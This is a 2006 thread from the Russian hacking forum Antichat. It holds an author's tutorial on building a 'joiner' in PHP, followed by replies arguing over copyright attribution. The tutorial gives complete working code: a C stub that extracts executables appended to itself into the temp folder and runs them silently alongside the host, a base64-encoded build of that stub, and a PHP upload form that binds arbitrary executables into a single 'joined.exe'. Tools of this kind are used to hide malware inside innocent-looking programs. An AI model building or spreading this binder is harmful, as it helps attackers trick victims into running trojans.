ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Принцип работы джойнеров на php.
  #1  
Старый 02.05.2006, 00:39
Аватар для drmist
drmist
Green member - Level 3
Регистрация: 08.10.2005
Сообщений: 396
Провел на форуме:
400609

Репутация: 239
По умолчанию Принцип работы джойнеров на php.

--->
Код:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

             Принцип работы джойнеров на php.
                               Author:    drmist
                               Web:       http://www.security-teams.net
                               Date:      02/05/06                     
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=

Как бы это меня не удивляло, при словах "джойнер на php"  у многих возникают
эмоции типа "Вау! Как круто! Вот бы исходники посмотреть!" Цель данной статьи -
развеять все мифы о этих, с позволенья сказать, скриптах и показать, что они
не представляют из себя что-либо сверхестественное. Далее по тексту мы напишем
такой джойнер. Разобраться должен даже девятиклассник. Потребуются минимальные
знания php и навыки программирования на C++ под Windows.

Лишний раз напомню, что целью данной статьи не является написание мега-крутого
джойнера со сменными иконками, упаковками и крипторами в четыре слоя. Работать
с Pe-форматом нам тоже не придется (пожелеем девятиклассников :) ). Итак,
принци простой: Есть обычный исполняемый файл. Как известно, маздаю будет
глупоко чихать, если в его конец что-то дописать. Вот мы и допишим склеиваемые
фалы. За головой нашего джойнера будет следовать такая структура:

[Files Count      (DWORD)]
[Buffer Size      (DWORD)]

[File1 Size       (DWORD)]
[File1 Content (Variable)]
[File2 Size       (DWORD)]
[File2 Content (Variable)]
............. etc

Где Files Count - число склееных файлов (мы можем склеить их сколько угодно),
Buffer Size - размер буфера, который должен выделить под свои нужды джойнер
(фактически это поле равно размеру наибольшего из склеиваемых файлов).
Далее идет File Count записей Размер:Содержимое. Вот сурец джойнера:



#include "windows.h"

#pragma comment(linker, "/ALIGN:4096 /MERGE:.idata=.text /MERGE:.data=.text");
#pragma commant(linker, "/SECTION:.text,EWR");

#define SELF_SIZE 1536

void main()
{
  char SelfName[MAX_PATH];
  char CurrDir[MAX_PATH];
  char TempPath[MAX_PATH];
  char TempName[MAX_PATH];
  HANDLE hReadFile;
  HANDLE hWriteFile;
  HANDLE hBuff;

  DWORD JoinedCount;
  DWORD BuffSize;
  DWORD FileSize;
  DWORD ddTemp;
  int Unique;

  GetCurrentDirectory(MAX_PATH, CurrDir);
  GetTempPath(MAX_PATH, TempPath);
  GetModuleFileName(GetModuleHandle(0), SelfName, MAX_PATH);
  hReadFile = CreateFile(SelfName, GENERIC_READ, FILE_SHARE_READ, NULL,
    OPEN_ALWAYS, 0, NULL);
  
  if(hReadFile != INVALID_HANDLE_VALUE)
    if(GetFileSize(hReadFile, 0) > SELF_SIZE)
    {
      SetFilePointer(hReadFile, SELF_SIZE, 0, FILE_BEGIN);
      ReadFile(hReadFile, &JoinedCount, sizeof(DWORD), &ddTemp, NULL);
      ReadFile(hReadFile, &BuffSize, sizeof(DWORD), &ddTemp, NULL);

      hBuff = GlobalAlloc(GMEM_FIXED, BuffSize);
      Unique = GetTickCount();

      while(JoinedCount > 0)
      {
        ReadFile(hReadFile, &FileSize, sizeof(DWORD), &ddTemp, NULL);

        Unique++;
        wsprintf(TempName, "%s%d.exe", TempPath, Unique);

        hWriteFile = CreateFile(TempName, GENERIC_WRITE, 0, NULL,
          CREATE_ALWAYS, 0, NULL);

        if(hWriteFile == INVALID_HANDLE_VALUE)
          break;

        ReadFile(hReadFile, hBuff, FileSize, &ddTemp, 0);
        WriteFile(hWriteFile, hBuff, FileSize, &ddTemp, 0);
        CloseHandle(hWriteFile);
        WinExec(TempName, SW_SHOWNORMAL);

       JoinedCount--;
     }

     GlobalFree(hBuff);
     CloseHandle(hReadFile);
   }
  ExitProcess(0);
}



Я надеюсь, что этот код не нуждается в коментариях. Скажу только, что после
того, как программа будет собрана, нужно изменить в исходном коде SELF_SIZE
на размер бинарника и собрать его снова.

Теперь осталось состряпоть... кхе-кхе... GUI ). Код приведен ниже.



<?php

function print_int($i)
{
  echo chr($i & 0xFF).chr(($i >> 8) & 0xFF).
       chr(($i >> 16) & 0xFF).chr($i >> 24);
}

  $file = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
          "AAAAAAAAAAAAAAAAwAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v".
          "dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABGwbHZAqDfigKg34oCoN+K".
          "AqDeihKg34pgv8yKB6Dfiuq/1IoAoN+KUmljaAKg34oAAAAAAAAAAAAAAAAAAAAA".
          "UEUAAEwBAQC4ZVZEAAAAAAAAAADgAA8BCwEGAAAEAAAAAAAAAAAAAPARAAAAEAAA".
          "ACAAAAAAQAAAEAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAIAAAAAIAAAAAAAACAAAA".
          "AAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAAAMEAAAPAAAAAAAAAAAAAAA".
          "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
          "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkBAAAEgAAAAAAAAAAAAAAAAAAAAAAAAA".
          "AAAAAAAAAAAudGV4dAAAAKADAAAAEAAAAAQAAAACAAAAAAAAAAAAAAAAAAAgAADg".
          "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlcyVkLmV4ZQAAAABIEAAA".
          "AAAAAAAAAADCEQAAkBAAAIgQAAAAAAAAAAAAANwRAADQEAAAAAAAAAAAAAAAAAAA".
          "AAAAAAAAAADYEAAA5hAAAPQQAAD+EAAADBEAABgRAAAoEQAANhEAAEIRAABUEQAA".
          "YhEAAHARAACGEQAAmhEAAKoRAAAAAAAA0BEAAAAAAADYEAAA5hAAAPQQAAD+EAAA".
          "DBEAABgRAAAoEQAANhEAAEIRAABUEQAAYhEAAHARAACGEQAAmhEAAKoRAAAAAAAA".
          "0BEAAAAAAAB9AEV4aXRQcm9jZXNzAIgBR2xvYmFsRnJlZQAA0wJXaW5FeGVjABsA".
          "Q2xvc2VIYW5kbGUA3wJXcml0ZUZpbGUAbQFHZXRUaWNrQ291bnQAAIEBR2xvYmFs".
          "QWxsb2MAGAJSZWFkRmlsZQAAagJTZXRGaWxlUG9pbnRlcgAAEgFHZXRGaWxlU2l6".
          "ZQA0AENyZWF0ZUZpbGVBACQBR2V0TW9kdWxlRmlsZU5hbWVBAAAmAUdldE1vZHVs".
          "ZUhhbmRsZUEAAGUBR2V0VGVtcFBhdGhBAAD1AEdldEN1cnJlbnREaXJlY3RvcnlB".
          "AABLRVJORUwzMi5kbGwAAKwCd3NwcmludGZBAFVTRVIzMi5kbGwAAAAAAAAAAAAA".
          "gewkBAAAjYQkIAMAAFdQaAQBAAD/FcgQQACNjCQgAgAAUWgEAQAA/xXEEEAAjZQk".
          "HAEAAGgEAQAAUmoA/xXAEEAAUP8VvBBAAGoAagBqBGoAagGNhCQwAQAAaAAAAIBQ".
          "/xW4EEAAi/iD//8PhCcBAABqAFf/FbQQQAA9AAYAAA+GEwEAAFNVagBqAGgABgAA".
          "V/8VsBBAAIsdrBBAAI1MJAxqAFGNVCQYagRSV//TjUQkDGoAUI1MJCRqBFFX/9OL".
          "VCQcUmoA/xWoEEAAiUQkFP8VpBBAAIvoi0QkEIXAD4agAAAAVo1EJBBqAFCNTCQk".
          "agRRV//TRY2UJCwCAABVUo1EJCxoABBAAFD/FdAQQACDxBCNTCQkagBqAGoCagBq".
          "AGgAAABAUf8VuBBAAIvwg/7/dE+LRCQci0wkGI1UJBBqAFJQUVf/04tEJByLTCQY".
          "jVQkEGoAUlBRVv8VoBBAAFb/FZwQQACNVCQkagFS/xWYEEAAi0QkFEiJRCQUD4Vi".
          "////XotEJBRQ/xWUEEAAV/8VnBBAAF1bagD/FZAQQABfgcQkBAAAw5CQkJCQkJCQ".
          "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
          "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
          
  $file_size = 1536;

  if(isset($_POST["files_count"]))
  {
    $count = $_POST["files_count"];
    
    $size = $file_size + 8;
    $max_size = 0;
    $sizes = array();
    
    for($i = 1; $i <= $count; $i++)
      if(isset($_FILES["file$i"]))
      {
        $tmp = filesize($_FILES["file$i"]["tmp_name"]);
        $sizes[$i] = $tmp;

        if($tmp > $max_size)
          $max_size = $tmp;

        $size += $tmp + 4;
      }
      else
        die("\$_FILES[\"file$i\"] is not set.");

    header("Content-Transfer-Encoding: binary");
    header("Content-type: application/x-download");
    header("Content-Length: $size");
    header("Content-Disposition: attachment; filename=\"joined.exe\"");
    echo base64_decode($file);
    print_int($count);
    print_int($max_size);

    for($i = 1; $i <= $count; $i++)
    {
      print_int($sizes[$i]);
      readfile($_FILES["file$i"]["tmp_name"]);
    }
    
  }
  else
  {
    $count = 0;
    if(isset($_POST["new_files_count"]))
      $count = intval($_POST["new_files_count"]);

    if($count < 2)
      $count = 2;
    echo "<form method=post>Files Count: <input type=text ".
         "name=new_files_count size=2 value=\"$count\">".
         "<input type=submit value=\"Update\"></form><hr>".
         "<form method=post enctype=multipart/form-data>".
         "<input type=hidden name=files_count value=\"$count\">";

    for($i = 1; $i <= $count; $i++)
      echo "File $i: <input type=file name=\"file$i\"><br>";

    echo "<input type=submit value=\"Join\"><hr><p align=right>".
         "Simple PHPJoiner v 0.8 (c) drmist\STNC 2006 | <a href=\"http://".
         "www.security-teams.net\">www.security-teams.net</a> | <a href=".
         "\"http://drmist.ru\">drmist.ru</a>"; 
  }
?>



Переменная $file содержит откомпилированный бинарник в base64. Получить
ее значение можно простым скриптом

<?php echo base64_encode(join("", file("joined.exe"))); ?>

Пирнцип работы скрипта на мой взгляд также не нуждается в пояснении.
Фактически это все, что я хотел сказать. Надеюсь среди читателей не найдутся те,
кто найдет в этом тексте что-то сложное. Могу только добавить, что на ... эм..
написание этого текста с приготовлением всех сорсов и тестированием у меня ушло
что-то в районе часа. Все желающие могут протестировать джойнер, зайдя по ссылке
http://drmist.ru/joiner/.

В качестве заключения напомню, что данная статья со всеми исходными кодами
является моей интелектуальной собственностью, потому если читателю захочется
где-то ее выложить, он должен оставить ссылку на САЙТ НАШЕЙ КОМАНДЫ:
http://www.security-teams.net. В противном случае, он не сможет избавится от
угрызения совести до последней секунды своего жалкого существования :).
Кроме того, автор не несет ответственности за чужие действия в том случае,
если материал даннгой статьи будет использован в противозаконных целях.
Вся информация дана в ознакомительных целях.
                                     (c) drmist 2006, специально для antichat.ru
<----
__________________
Никому нельзя верить...

Последний раз редактировалось drmist; 02.05.2006 в 00:51..
 
Ответить с цитированием

  #2  
Старый 02.05.2006, 01:19
Аватар для dinar_007
dinar_007
Флудер
Регистрация: 18.01.2005
Сообщений: 2,298
Провел на форуме:
13936387

Репутация: 1844


Отправить сообщение для dinar_007 с помощью ICQ
По умолчанию

Если статья специально для античат.ру, то тогда зачем оставлять ссылку на секъюрити теам? А в общем статейка познавательная...

Последний раз редактировалось dinar_007; 02.05.2006 в 09:56.. Причина: Надо =)
 
Ответить с цитированием

  #3  
Старый 02.05.2006, 06:53
Аватар для nerezus
nerezus
Pagan Heart
Регистрация: 12.08.2004
Сообщений: 3,791
Провел на форуме:
6490435

Репутация: 2290


Отправить сообщение для nerezus с помощью ICQ
По умолчанию

Цитата:
Если стать специально для античат.ру, то тогда зачем оставлять ссылку на секъюрити теам?
а зачем ты в подписи про русхак пишешь, хотя сейчас на античате сидишь? Умник блин.
 
Ответить с цитированием

  #4  
Старый 02.05.2006, 09:53
Аватар для dinar_007
dinar_007
Флудер
Регистрация: 18.01.2005
Сообщений: 2,298
Провел на форуме:
13936387

Репутация: 1844


Отправить сообщение для dinar_007 с помощью ICQ
По умолчанию

Это разные вещи... Если статья специально для ачата, то как - бы автор написал её для ачата => она пренадлежит ачату, а не другому сайту... Значит в копирайтах по сути должна быть ссылка на ачат, т.к. он первоисточник... Ну или ник автора... Или и то, и другое...
 
Ответить с цитированием

  #5  
Старый 02.05.2006, 10:18
Аватар для Rebz
Rebz
Super Moderator
Регистрация: 08.11.2004
Сообщений: 3,395
Провел на форуме:
13166814

Репутация: 3876


По умолчанию

А drmist и не писал что статья специально для античата.
 
Ответить с цитированием

  #6  
Старый 02.05.2006, 10:40
Аватар для dinar_007
dinar_007
Флудер
Регистрация: 18.01.2005
Сообщений: 2,298
Провел на форуме:
13936387

Репутация: 1844


Отправить сообщение для dinar_007 с помощью ICQ
По умолчанию

А в самом низу статьи что написано? =)
 
Ответить с цитированием

  #7  
Старый 02.05.2006, 10:49
Аватар для Desr0w
Desr0w
Постоянный
Регистрация: 01.02.2006
Сообщений: 523
Провел на форуме:
1730553

Репутация: 319


Отправить сообщение для Desr0w с помощью ICQ
По умолчанию

(c) drmist 2006, специально для antichat.ru
И нашим и ...
 
Ответить с цитированием

  #8  
Старый 02.05.2006, 12:00
Аватар для madnet
madnet
Умиротворенн
Регистрация: 09.12.2004
Сообщений: 996
Провел на форуме:
2386719

Репутация: 1384


Отправить сообщение для madnet с помощью ICQ
По умолчанию

Мда, хочется конечно сделать что-то новое, чего до тебя не делали, но мне кажется это уже перебор, особого смысла не вижу в таком джойнере, если его так можно назвать.

Отличный повод написать сайт на асме (c)nerezus.
__________________

http://madnet.name - madnet - blog | homepage (Мысли, релизы, скрипты, софт)

http://antichat.ru - Лучший сайт по безопасности
irc.antichat.ru:7771 #antichat - общение online
ГАРАНТ ФОРУМА
 
Ответить с цитированием

  #9  
Старый 02.05.2006, 13:10
Аватар для drmist
drmist
Green member - Level 3
Регистрация: 08.10.2005
Сообщений: 396
Провел на форуме:
400609

Репутация: 239
По умолчанию

dinar_007
Цитата:
Если статья специально для античат.ру, то тогда зачем оставлять ссылку на секъюрити теам?
Ниужто из-за естественного желания привлечь внимание общественности к сайту родной тимы?
Несмотря на то, что статья ДЛЯ ачата, она ОТ сектима. И вобще моя статья - как захочу так и требую )). Все равно найдется кто-то, кто об этом забудет.
Цитата:
Отличный повод написать сайт на асме (c)nerezus.
)))))
__________________
Никому нельзя верить...
 
Ответить с цитированием

  #10  
Старый 02.05.2006, 14:10
Аватар для Trinux
Trinux
Познавший АНТИЧАТ
Регистрация: 26.11.2004
Сообщений: 1,149
Провел на форуме:
941818

Репутация: 569


По умолчанию

Цитата:
Отличный повод написать сайт на асме (c)nerezus.
Вполне реально. Пишем на асме сокеты, отдаем сокету html код. Все.
Думаю, что подобные проэкты уже есть
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
На PHP, как на "Новые ворота"... Mertvii-Listopad Чужие Статьи 7 18.09.2006 12:42
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Пишем Php код, устойчивый к ошибкам k00p3r Чужие Статьи 0 10.07.2005 22:34
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ